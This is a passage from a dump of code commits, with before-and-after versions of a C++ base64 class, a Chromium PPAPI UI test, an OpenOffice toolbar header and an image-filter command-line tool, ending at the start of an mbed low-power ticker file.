NULL;\n\n for (int i = 0, j = 0; i < input_length;) {\n\n uint32_t octet_a = i < input_length ? (unsigned char)data[i++] : 0;\n uint32_t octet_b = i < input_length ? (unsigned char)data[i++] : 0;\n uint32_t octet_c = i < input_length ? (unsigned char)data[i++] : 0;\n\n uint32_t triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;\n\n encoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F];\n encoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F];\n encoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F];\n encoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F];\n }\n\n for (int i = 0; i < mod_table[input_length % 3]; i++)\n encoded_data[*output_length - 1 - i] = '=';\n\n return encoded_data;\n}\n\n\nunsigned char * b64::base64_decode(const char *data,\n unsigned int input_length,\n unsigned int *output_length) {\n\n if (this->decoding_table == NULL) build_decoding_table();\n\n if (input_length % 4 != 0) return NULL;\n\n *output_length = input_length \/ 4 * 3;\n if (data[input_length - 1] == '=') (*output_length)--;\n if (data[input_length - 2] == '=') (*output_length)--;\n\n unsigned char *decoded_data = (unsigned char *) malloc(*output_length);\n if (decoded_data == NULL) return NULL;\n\n for (int i = 0, j = 0; i < input_length;) {\n\n uint32_t sextet_a = data[i] == '=' ? 0 & i++ : this->decoding_table[data[i++]];\n uint32_t sextet_b = data[i] == '=' ? 0 & i++ : this->decoding_table[data[i++]];\n uint32_t sextet_c = data[i] == '=' ? 0 & i++ : this->decoding_table[data[i++]];\n uint32_t sextet_d = data[i] == '=' ? 0 & i++ : this->decoding_table[data[i++]];\n\n uint32_t triple = (sextet_a << 3 * 6)\n + (sextet_b << 2 * 6)\n + (sextet_c << 1 * 6)\n + (sextet_d << 0 * 6);\n\n if (j < *output_length) decoded_data[j++] = (triple >> 2 * 8) & 0xFF;\n if (j < *output_length) decoded_data[j++] = (triple >> 1 * 8) & 0xFF;\n if (j < *output_length) decoded_data[j++] = (triple >> 0 * 8) & 0xFF;\n }\n\n return decoded_data;\n}\n\n\n\n\n\n<commit_msg>Minor fixes<commit_after>\n\n#include \"base64.h\"\n#include <iostream>\n\n#include <stdint.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <stdlib.h>\n\nusing namespace std;\n\nstatic char encoding_table[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '\/'};\nstatic int mod_table[] = {0, 2, 1};\n\n\n\nvoid b64::build_decoding_table() {\n\n\tthis->decoding_table = (char *) malloc(256);\n\n\tfor (int i = 0; i < 64; i++){\n\t\tthis->decoding_table[(unsigned char) encoding_table[i]] = i;\n\t}\n}\n\nvoid b64::base64_cleanup() {\n\tfree(this->decoding_table);\n}\n\nb64::b64(){ \/\/c'tor\n\tbuild_decoding_table();\n}\n\nb64::~b64(){ \/\/d'tor\n\tbase64_cleanup();\n}\n\n\n\n\nstd::string b64::base64_encode(std::string src_str){\n\t\/\/Public interface \n\tunsigned int dst_len = 0;\n\tchar * dst_data = base64_encode((const unsigned char *)src_str.c_str(), src_str.size(), &dst_len);\n\n\tstd::string ret(dst_data, dst_len);\n\tdelete dst_data;\n\n\treturn ret;\n}\n\nstd::string b64::base64_decode(std::string src_str){\n\t\/\/Public interface\n\tunsigned int dst_len = 0;\n\tunsigned char * dst_data = base64_decode(src_str.c_str(), src_str.size(), &dst_len);\n\n\tstd::string ret((char*)dst_data, dst_len);\n\tdelete dst_data;\n\n\treturn ret;\n}\n\nstd::string b64::base64_encode(unsigned char const* src_data, unsigned int src_len){\n\t\/\/Public interface\n\n\tunsigned int dst_len = 0;\n\tchar * dst_data = base64_encode(src_data, src_len, &dst_len);\n\n\tstd::string ret(dst_data, dst_len);\n\tdelete dst_data;\n\n\treturn ret;\n}\n\nstd::string b64::base64_decode(char const* src_data, unsigned int src_len){\n\t\/\/Public interface\n\n\tunsigned int dst_len = 0;\n\tunsigned char * dst_data = base64_decode(src_data, src_len, &dst_len);\n\n\tstd::string ret((char*)dst_data, dst_len);\n\tdelete dst_data;\n\n\treturn ret;\n}\n\n\n\n\nchar * b64::base64_encode(const unsigned char *data,\n unsigned int input_length,\n unsigned int *output_length) {\n\n\t*output_length = 4 * ((input_length + 2) \/ 3);\n\n\tchar *encoded_data = (char *)malloc(*output_length);\n\tif (encoded_data == NULL) return NULL;\n\n\tfor (int i = 0, j = 0; i < input_length;) {\n\t\tuint32_t octet_a = i < input_length ? (unsigned char)data[i++] : 0;\n\t\tuint32_t octet_b = i < input_length ? (unsigned char)data[i++] : 0;\n\t\tuint32_t octet_c = i < input_length ? (unsigned char)data[i++] : 0;\n\n\t\tuint32_t triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;\n\n\t\tencoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F];\n\t\tencoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F];\n\t\tencoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F];\n\t\tencoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F];\n\t}\n\n\tfor (int i = 0; i < mod_table[input_length % 3]; i++){\n\t\tencoded_data[*output_length - 1 - i] = '=';\n\t}\n\n\treturn encoded_data;\n}\n\n\nunsigned char * b64::base64_decode(const char *data,\n unsigned int input_length,\n unsigned int *output_length) {\n\n\tif (this->decoding_table == NULL) build_decoding_table();\n\n\tif (input_length % 4 != 0) return NULL;\n\n\t*output_length = input_length \/ 4 * 3;\n\tif (data[input_length - 1] == '=') (*output_length)--;\n\tif (data[input_length - 2] == '=') (*output_length)--;\n\n\tunsigned char *decoded_data = (unsigned char *) malloc(*output_length);\n\tif (decoded_data == NULL) return NULL;\n\n\tfor (int i = 0, j = 0; i < input_length;) {\n\t\tuint32_t sextet_a = data[i] == '=' ? 0 & i++ : this->decoding_table[data[i++]];\n\t\tuint32_t sextet_b = data[i] == '=' ? 0 & i++ : this->decoding_table[data[i++]];\n\t\tuint32_t sextet_c = data[i] == '=' ? 0 & i++ : this->decoding_table[data[i++]];\n\t\tuint32_t sextet_d = data[i] == '=' ? 0 & i++ : this->decoding_table[data[i++]];\n\n\t\tuint32_t triple = (sextet_a << 3 * 6)\n\t\t+ (sextet_b << 2 * 6)\n\t\t+ (sextet_c << 1 * 6)\n\t\t+ (sextet_d << 0 * 6);\n\n\t\tif (j < *output_length) decoded_data[j++] = (triple >> 2 * 8) & 0xFF;\n\t\tif (j < *output_length) decoded_data[j++] = (triple >> 1 * 8) & 0xFF;\n\t\tif (j < *output_length) decoded_data[j++] = (triple >> 0 * 8) & 0xFF;\n\t}\n\n\treturn decoded_data;\n}\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/file_util.h\"\n#include \"base\/path_service.h\"\n#include \"build\/build_config.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/base\/net_util.h\"\n#include \"net\/test\/test_server.h\"\n#include \"webkit\/glue\/plugins\/plugin_switches.h\"\n\nnamespace {\n\n\/\/ Platform-specific filename relative to the chrome executable.\n#if defined(OS_WIN)\nconst wchar_t library_name[] = L\"ppapi_tests.dll\";\n#elif defined(OS_MACOSX)\nconst char library_name[] = \"ppapi_tests.plugin\";\n#elif defined(OS_POSIX)\nconst char library_name[] = \"libppapi_tests.so\";\n#endif\n\n} \/\/ namespace\n\nclass PPAPITest : public UITest {\n public:\n PPAPITest() {\n \/\/ Append the switch to register the pepper plugin.\n \/\/ library name = <out dir>\/<test_name>.<library_extension>\n \/\/ MIME type = application\/x-ppapi-<test_name>\n FilePath plugin_dir;\n PathService::Get(base::DIR_EXE, &plugin_dir);\n\n FilePath plugin_lib = plugin_dir.Append(library_name);\n EXPECT_TRUE(file_util::PathExists(plugin_lib));\n FilePath::StringType pepper_plugin = plugin_lib.value();\n pepper_plugin.append(FILE_PATH_LITERAL(\";application\/x-ppapi-tests\"));\n launch_arguments_.AppendSwitchNative(switches::kRegisterPepperPlugins,\n pepper_plugin);\n\n \/\/ The test sends us the result via a cookie.\n launch_arguments_.AppendSwitch(switches::kEnableFileCookies);\n\n \/\/ Some stuff is hung off of the testing interface which is not enabled\n \/\/ by default.\n launch_arguments_.AppendSwitch(switches::kEnablePepperTesting);\n }\n\n void RunTest(const std::string& test_case) {\n FilePath test_path;\n PathService::Get(base::DIR_SOURCE_ROOT, &test_path);\n test_path = test_path.Append(FILE_PATH_LITERAL(\"third_party\"));\n test_path = test_path.Append(FILE_PATH_LITERAL(\"ppapi\"));\n test_path = test_path.Append(FILE_PATH_LITERAL(\"tests\"));\n test_path = test_path.Append(FILE_PATH_LITERAL(\"test_case.html\"));\n\n \/\/ Sanity check the file name.\n EXPECT_TRUE(file_util::PathExists(test_path));\n\n GURL::Replacements replacements;\n replacements.SetQuery(test_case.c_str(),\n url_parse::Component(0, test_case.size()));\n GURL test_url = net::FilePathToFileURL(test_path);\n RunTestURL(test_url.ReplaceComponents(replacements));\n }\n\n void RunTestViaHTTP(const std::string& test_case) {\n net::TestServer test_server(\n net::TestServer::TYPE_HTTP,\n FilePath(FILE_PATH_LITERAL(\"third_party\/ppapi\/tests\")));\n ASSERT_TRUE(test_server.Start());\n RunTestURL(test_server.GetURL(\"files\/test_case.html?\" + test_case));\n }\n\n private:\n void RunTestURL(const GURL& test_url) {\n scoped_refptr<TabProxy> tab(GetActiveTab());\n ASSERT_TRUE(tab.get());\n ASSERT_TRUE(tab->NavigateToURL(test_url));\n std::string escaped_value =\n WaitUntilCookieNonEmpty(tab.get(), test_url,\n \"COMPLETION_COOKIE\", action_max_timeout_ms());\n EXPECT_STREQ(\"PASS\", escaped_value.c_str());\n }\n};\n\nTEST_F(PPAPITest, FAILS_Instance) {\n RunTest(\"Instance\");\n}\n\n\/\/ http:\/\/crbug.com\/54150\nTEST_F(PPAPITest, FLAKY_Graphics2D) {\n RunTest(\"Graphics2D\");\n}\n\n\/\/ TODO(brettw) bug 51344: this is flaky on bots. Seems to timeout navigating.\n\/\/ Possibly all the image allocations slow things down on a loaded bot too much.\nTEST_F(PPAPITest, FLAKY_ImageData) {\n RunTest(\"ImageData\");\n}\n\nTEST_F(PPAPITest, Buffer) {\n RunTest(\"Buffer\");\n}\n\nTEST_F(PPAPITest, URLLoader) {\n RunTestViaHTTP(\"URLLoader\");\n}\n\n\/\/ Flaky, http:\/\/crbug.com\/51012\nTEST_F(PPAPITest, FLAKY_PaintAggregator) {\n RunTestViaHTTP(\"PaintAggregator\");\n}\n\n\/\/ Flaky, http:\/\/crbug.com\/48544.\nTEST_F(PPAPITest, FLAKY_Scrollbar) {\n RunTest(\"Scrollbar\");\n}\n\nTEST_F(PPAPITest, UrlUtil) {\n RunTest(\"UrlUtil\");\n}\n\nTEST_F(PPAPITest, CharSet) {\n RunTest(\"CharSet\");\n}\n<commit_msg>Mark PPAPITest.URLLoader as flaky.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/file_util.h\"\n#include \"base\/path_service.h\"\n#include \"build\/build_config.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/base\/net_util.h\"\n#include \"net\/test\/test_server.h\"\n#include \"webkit\/glue\/plugins\/plugin_switches.h\"\n\nnamespace {\n\n\/\/ Platform-specific filename relative to the chrome executable.\n#if defined(OS_WIN)\nconst wchar_t library_name[] = L\"ppapi_tests.dll\";\n#elif defined(OS_MACOSX)\nconst char library_name[] = \"ppapi_tests.plugin\";\n#elif defined(OS_POSIX)\nconst char library_name[] = \"libppapi_tests.so\";\n#endif\n\n} \/\/ namespace\n\nclass PPAPITest : public UITest {\n public:\n PPAPITest() {\n \/\/ Append the switch to register the pepper plugin.\n \/\/ library name = <out dir>\/<test_name>.<library_extension>\n \/\/ MIME type = application\/x-ppapi-<test_name>\n FilePath plugin_dir;\n PathService::Get(base::DIR_EXE, &plugin_dir);\n\n FilePath plugin_lib = plugin_dir.Append(library_name);\n EXPECT_TRUE(file_util::PathExists(plugin_lib));\n FilePath::StringType pepper_plugin = plugin_lib.value();\n pepper_plugin.append(FILE_PATH_LITERAL(\";application\/x-ppapi-tests\"));\n launch_arguments_.AppendSwitchNative(switches::kRegisterPepperPlugins,\n pepper_plugin);\n\n \/\/ The test sends us the result via a cookie.\n launch_arguments_.AppendSwitch(switches::kEnableFileCookies);\n\n \/\/ Some stuff is hung off of the testing interface which is not enabled\n \/\/ by default.\n launch_arguments_.AppendSwitch(switches::kEnablePepperTesting);\n }\n\n void RunTest(const std::string& test_case) {\n FilePath test_path;\n PathService::Get(base::DIR_SOURCE_ROOT, &test_path);\n test_path = test_path.Append(FILE_PATH_LITERAL(\"third_party\"));\n test_path = test_path.Append(FILE_PATH_LITERAL(\"ppapi\"));\n test_path = test_path.Append(FILE_PATH_LITERAL(\"tests\"));\n test_path = test_path.Append(FILE_PATH_LITERAL(\"test_case.html\"));\n\n \/\/ Sanity check the file name.\n EXPECT_TRUE(file_util::PathExists(test_path));\n\n GURL::Replacements replacements;\n replacements.SetQuery(test_case.c_str(),\n url_parse::Component(0, test_case.size()));\n GURL test_url = net::FilePathToFileURL(test_path);\n RunTestURL(test_url.ReplaceComponents(replacements));\n }\n\n void RunTestViaHTTP(const std::string& test_case) {\n net::TestServer test_server(\n net::TestServer::TYPE_HTTP,\n FilePath(FILE_PATH_LITERAL(\"third_party\/ppapi\/tests\")));\n ASSERT_TRUE(test_server.Start());\n RunTestURL(test_server.GetURL(\"files\/test_case.html?\" + test_case));\n }\n\n private:\n void RunTestURL(const GURL& test_url) {\n scoped_refptr<TabProxy> tab(GetActiveTab());\n ASSERT_TRUE(tab.get());\n ASSERT_TRUE(tab->NavigateToURL(test_url));\n std::string escaped_value =\n WaitUntilCookieNonEmpty(tab.get(), test_url,\n \"COMPLETION_COOKIE\", action_max_timeout_ms());\n EXPECT_STREQ(\"PASS\", escaped_value.c_str());\n }\n};\n\nTEST_F(PPAPITest, FAILS_Instance) {\n RunTest(\"Instance\");\n}\n\n\/\/ http:\/\/crbug.com\/54150\nTEST_F(PPAPITest, FLAKY_Graphics2D) {\n RunTest(\"Graphics2D\");\n}\n\n\/\/ TODO(brettw) bug 51344: this is flaky on bots. Seems to timeout navigating.\n\/\/ Possibly all the image allocations slow things down on a loaded bot too much.\nTEST_F(PPAPITest, FLAKY_ImageData) {\n RunTest(\"ImageData\");\n}\n\nTEST_F(PPAPITest, Buffer) {\n RunTest(\"Buffer\");\n}\n\nTEST_F(PPAPITest, FLAKY_URLLoader) {\n RunTestViaHTTP(\"URLLoader\");\n}\n\n\/\/ Flaky, http:\/\/crbug.com\/51012\nTEST_F(PPAPITest, FLAKY_PaintAggregator) {\n RunTestViaHTTP(\"PaintAggregator\");\n}\n\n\/\/ Flaky, http:\/\/crbug.com\/48544.\nTEST_F(PPAPITest, FLAKY_Scrollbar) {\n RunTest(\"Scrollbar\");\n}\n\nTEST_F(PPAPITest, UrlUtil) {\n RunTest(\"UrlUtil\");\n}\n\nTEST_F(PPAPITest, CharSet) {\n RunTest(\"CharSet\");\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: tbxctl.hxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: obo $ $Date: 2004-07-06 13:07:25 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _TBXCTL_HXX\n#define _TBXCTL_HXX\n\n#ifndef _SFXTBXCTRL_HXX \/\/autogen\n#include <sfx2\/tbxctrl.hxx>\n#endif\n\n\/*************************************************************************\n|*\n|* Klasse f\"ur SwToolbox\n|*\n\\************************************************************************\/\n\nclass SvxTbxCtlDraw : public SfxToolBoxControl\n{\nprivate:\n USHORT nLastAction;\n\npublic:\n virtual void Select( BOOL bMod1 = FALSE );\n virtual void StateChanged( USHORT nSID, SfxItemState eState,\n const SfxPoolItem* pState );\n virtual SfxPopupWindowType GetPopupWindowType() const;\n virtual SfxPopupWindow* CreatePopupWindow();\n\n SFX_DECL_TOOLBOX_CONTROL();\n\n SvxTbxCtlDraw( USHORT nSlotId, USHORT nId, ToolBox& rTbx );\n ~SvxTbxCtlDraw() {}\n\n void SetLastAction( USHORT nAction ) { nLastAction = nAction; }\n};\n\n\n#endif\n\n<commit_msg>INTEGRATION: CWS toolbars3 (1.2.250); FILE MERGED 2004\/11\/12 11:20:33 pb 1.2.250.1: fix: #i37018# toggleToolbox() added<commit_after>\/*************************************************************************\n *\n * $RCSfile: tbxctl.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: hr $ $Date: 2004-11-26 20:13:23 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _TBXCTL_HXX\n#define _TBXCTL_HXX\n\n#ifndef _SFXTBXCTRL_HXX \/\/autogen\n#include <sfx2\/tbxctrl.hxx>\n#endif\n\n\/*************************************************************************\n|*\n|* Klasse f\"ur SwToolbox\n|*\n\\************************************************************************\/\n\nclass SvxTbxCtlDraw : public SfxToolBoxControl\n{\nprivate:\n ::rtl::OUString m_sToolboxName;\n\n void toggleToolbox();\n\npublic:\n SvxTbxCtlDraw( USHORT nSlotId, USHORT nId, ToolBox& rTbx );\n ~SvxTbxCtlDraw() {}\n\n SFX_DECL_TOOLBOX_CONTROL();\n\n virtual void Select( BOOL bMod1 = FALSE );\n virtual void StateChanged( USHORT nSID, SfxItemState eState,\n const SfxPoolItem* pState );\n virtual SfxPopupWindowType GetPopupWindowType() const;\n};\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>#include \"core\/argparse.h\"\n\n#include \"core\/image.h\"\n#include \"core\/imagefilters.h\"\n#include \"core\/palette_all.h\"\n\n#include \"core\/io.h\"\n\n#include <iostream>\n#include <sstream>\n#include <iomanip>\n\nusing namespace euphoria::core;\n\nint\nmain(int argc, char* argv[])\n{\n auto parser = argparse::Parser {\"Apply filters to images\"};\n\n std::string input;\n std::string output = \"ret.png\";\n\n Image image;\n\n auto load_image = [&]\n {\n auto ret = LoadImage(io::FileToChunk(input), input, AlphaLoad::Keep);\n if(!ret.error.empty())\n {\n std::cerr << ret.error << \"\\n\";\n return false;\n }\n else\n {\n image = ret.image;\n return true;\n }\n };\n \n auto write_image = [&]\n {\n io::ChunkToFile(image.Write(ImageWriteFormat::PNG), output);\n };\n\n \/\/ todo(Gustav): change to generate\/open - filter - save subparsing instead (with image targets)\n\n parser.Add(\"input\", &input).Help(\"The image to apply filters to\");\n parser.Add(\"-o, --output\", &output)\n .Help(\"Where to write the resulting image\");\n\n auto subs = parser.AddSubParsers();\n\n subs->Add\n (\n \"nop\", \"Don't do anything\",\n [&](argparse::SubParser* sub)\n {\n return sub->OnComplete\n (\n [&]\n {\n if(!load_image())\n {\n return;\n }\n write_image();\n }\n );\n \n }\n );\n\n subs->Add\n (\n \"grayscale\", \"Apply grayscale\",\n [&](argparse::SubParser* sub)\n {\n Grayscale grayscale = Grayscale::Average;\n sub->Add(\"-g,--grayscale\", &grayscale);\n return sub->OnComplete\n (\n [&]\n {\n if(!load_image())\n {\n return;\n }\n MakeGrayscale(&image, grayscale);\n write_image();\n }\n );\n \n }\n );\n\n subs->Add\n (\n \"palswap\", \"Switch palette\",\n [&](argparse::SubParser* sub)\n {\n palette::PaletteName palette = palette::PaletteName::OneBit;\n bool pal_dither = false;\n\n sub->Add(\"-p, --palette\", &palette);\n sub->SetTrue(\"-d, --dither\", &pal_dither);\n\n return sub->OnComplete\n (\n [&]\n {\n if(!load_image())\n {\n return;\n }\n if(pal_dither)\n {\n MatchPaletteDither(&image, palette::GetPalette(palette));\n }\n else\n {\n MatchPalette(&image, palette::GetPalette(palette));\n }\n write_image();\n }\n );\n \n }\n );\n\n subs->Add\n (\n \"edge\", \"Edge detection\",\n [&](argparse::SubParser* sub)\n {\n float edge_r = 0.5f;\n sub->Add(\"-r, --range\", &edge_r);\n return sub->OnComplete\n (\n [&]\n {\n if(!load_image())\n {\n return;\n }\n EdgeDetection(&image, edge_r);\n write_image();\n }\n );\n }\n );\n\n subs->Add\n (\n \"color\", \"Detect colors\",\n [&](argparse::SubParser* sub)\n {\n float edge_r = 0.5f;\n auto color_color = Color::Red;\n sub->Add(\"-r, --range\", &edge_r);\n sub->Add(\"-c, --color\", &color_color);\n return sub->OnComplete\n (\n [&]\n {\n if(!load_image())\n {\n return;\n }\n ColorDetection(&image, color_color, edge_r);\n write_image();\n }\n );\n }\n );\n\n subs->Add\n (\n \"bright\", \"Change brightness\",\n [&](argparse::SubParser* sub)\n {\n int bright_c = 10;\n sub->Add(\"-c, --change\", &bright_c);\n return sub->OnComplete\n (\n [&]\n {\n if(!load_image())\n {\n return;\n }\n ChangeBrightness(&image, bright_c);\n write_image();\n }\n );\n }\n );\n\n subs->Add\n (\n \"contrast\", \"Change contrast\",\n [&](argparse::SubParser* sub)\n {\n float contrast = 10;\n sub->Add(\"-c, --change\", &contrast);\n return sub->OnComplete\n (\n [&]\n {\n if (!load_image())\n {\n return;\n }\n ChangeContrast(&image, contrast);\n write_image();\n }\n );\n }\n );\n\n\n return argparse::ParseFromMain(&parser, argc, argv);\n}\n<commit_msg>refactored img tool so that it reflects how it is supposed to work (but currently doesn't)<commit_after>#include \"core\/argparse.h\"\n\n#include \"core\/image.h\"\n#include \"core\/imagefilters.h\"\n#include \"core\/palette_all.h\"\n\n#include \"core\/io.h\"\n\n#include <iostream>\n#include <sstream>\n#include <iomanip>\n\nusing namespace euphoria::core;\n\nint\nmain(int argc, char* argv[])\n{\n Image image;\n\n auto parser = argparse::Parser {\"Apply filters to images\"};\n\n auto io_subs = parser.AddSubParsers(\"transfer image to\/from disk\");\n\n io_subs->Add\n (\n \"open\", \"Load image from disk\",\n [&](argparse::SubParser* sub)\n {\n std::string input;\n parser.Add(\"input\", &input).Help(\"The image to apply filters to\");\n return sub->OnComplete\n (\n [&]\n {\n auto ret = LoadImage(io::FileToChunk(input), input, AlphaLoad::Keep);\n if(!ret.error.empty())\n {\n std::cerr << ret.error << \"\\n\";\n \/\/ return false;\n }\n else\n {\n image = ret.image;\n \/\/ return true;\n }\n }\n );\n }\n );\n\n io_subs->Add\n (\n \"save\", \"Write image to disk\",\n [&](argparse::SubParser* sub)\n {\n std::string output = \"ret.png\";\n parser.Add(\"-o, --output\", &output).Help\n (\n \"Where to write the resulting image\"\n );\n return sub->OnComplete\n (\n [&]\n {\n io::ChunkToFile(image.Write(ImageWriteFormat::PNG), output);\n }\n );\n \n }\n );\n\n auto filters_subs = parser.AddSubParsers(\"apply filter to current image\");\n\n filters_subs->Add\n (\n \"grayscale\", \"Apply grayscale\",\n [&](argparse::SubParser* sub)\n {\n Grayscale grayscale = Grayscale::Average;\n sub->Add(\"-g,--grayscale\", &grayscale);\n return sub->OnComplete\n (\n [&]\n {\n MakeGrayscale(&image, grayscale);\n }\n );\n \n }\n );\n\n filters_subs->Add\n (\n \"palswap\", \"Switch palette\",\n [&](argparse::SubParser* sub)\n {\n palette::PaletteName palette = palette::PaletteName::OneBit;\n bool pal_dither = false;\n\n sub->Add(\"-p, --palette\", &palette);\n sub->SetTrue(\"-d, --dither\", &pal_dither);\n\n return sub->OnComplete\n (\n [&]\n {\n if(pal_dither)\n {\n MatchPaletteDither(&image, palette::GetPalette(palette));\n }\n else\n {\n MatchPalette(&image, palette::GetPalette(palette));\n }\n }\n );\n \n }\n );\n\n filters_subs->Add\n (\n \"edge\", \"Edge detection\",\n [&](argparse::SubParser* sub)\n {\n float edge_r = 0.5f;\n sub->Add(\"-r, --range\", &edge_r);\n return sub->OnComplete\n (\n [&]\n {\n EdgeDetection(&image, edge_r);\n }\n );\n }\n );\n\n filters_subs->Add\n (\n \"color\", \"Detect colors\",\n [&](argparse::SubParser* sub)\n {\n float edge_r = 0.5f;\n auto color_color = Color::Red;\n sub->Add(\"-r, --range\", &edge_r);\n sub->Add(\"-c, --color\", &color_color);\n return sub->OnComplete\n (\n [&]\n {\n ColorDetection(&image, color_color, edge_r);\n }\n );\n }\n );\n\n filters_subs->Add\n (\n \"bright\", \"Change brightness\",\n [&](argparse::SubParser* sub)\n {\n int bright_c = 10;\n sub->Add(\"-c, --change\", &bright_c);\n return sub->OnComplete\n (\n [&]\n {\n ChangeBrightness(&image, bright_c);\n }\n );\n }\n );\n\n filters_subs->Add\n (\n \"contrast\", \"Change contrast\",\n [&](argparse::SubParser* sub)\n {\n float contrast = 10;\n sub->Add(\"-c, --change\", &contrast);\n return sub->OnComplete\n (\n [&]\n {\n ChangeContrast(&image, contrast);\n }\n );\n }\n );\n\n return argparse::ParseFromMain(&parser, argc, argv);\n}\n<|endoftext|>"} {"text":"<commit_before>\/* mbed Microcontroller Library\n * Copyright (c) 2018 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"hal\/LowPowerTickerWrapper.h\"\n#include \"platform\/Callback.h\"\n\nLowPowerTickerWrapper::LowPowerTickerWrapper(const ticker_data_t *data, const ticker_interface_t *interface, uint32_t min_cycles_between_writes, uint32_t 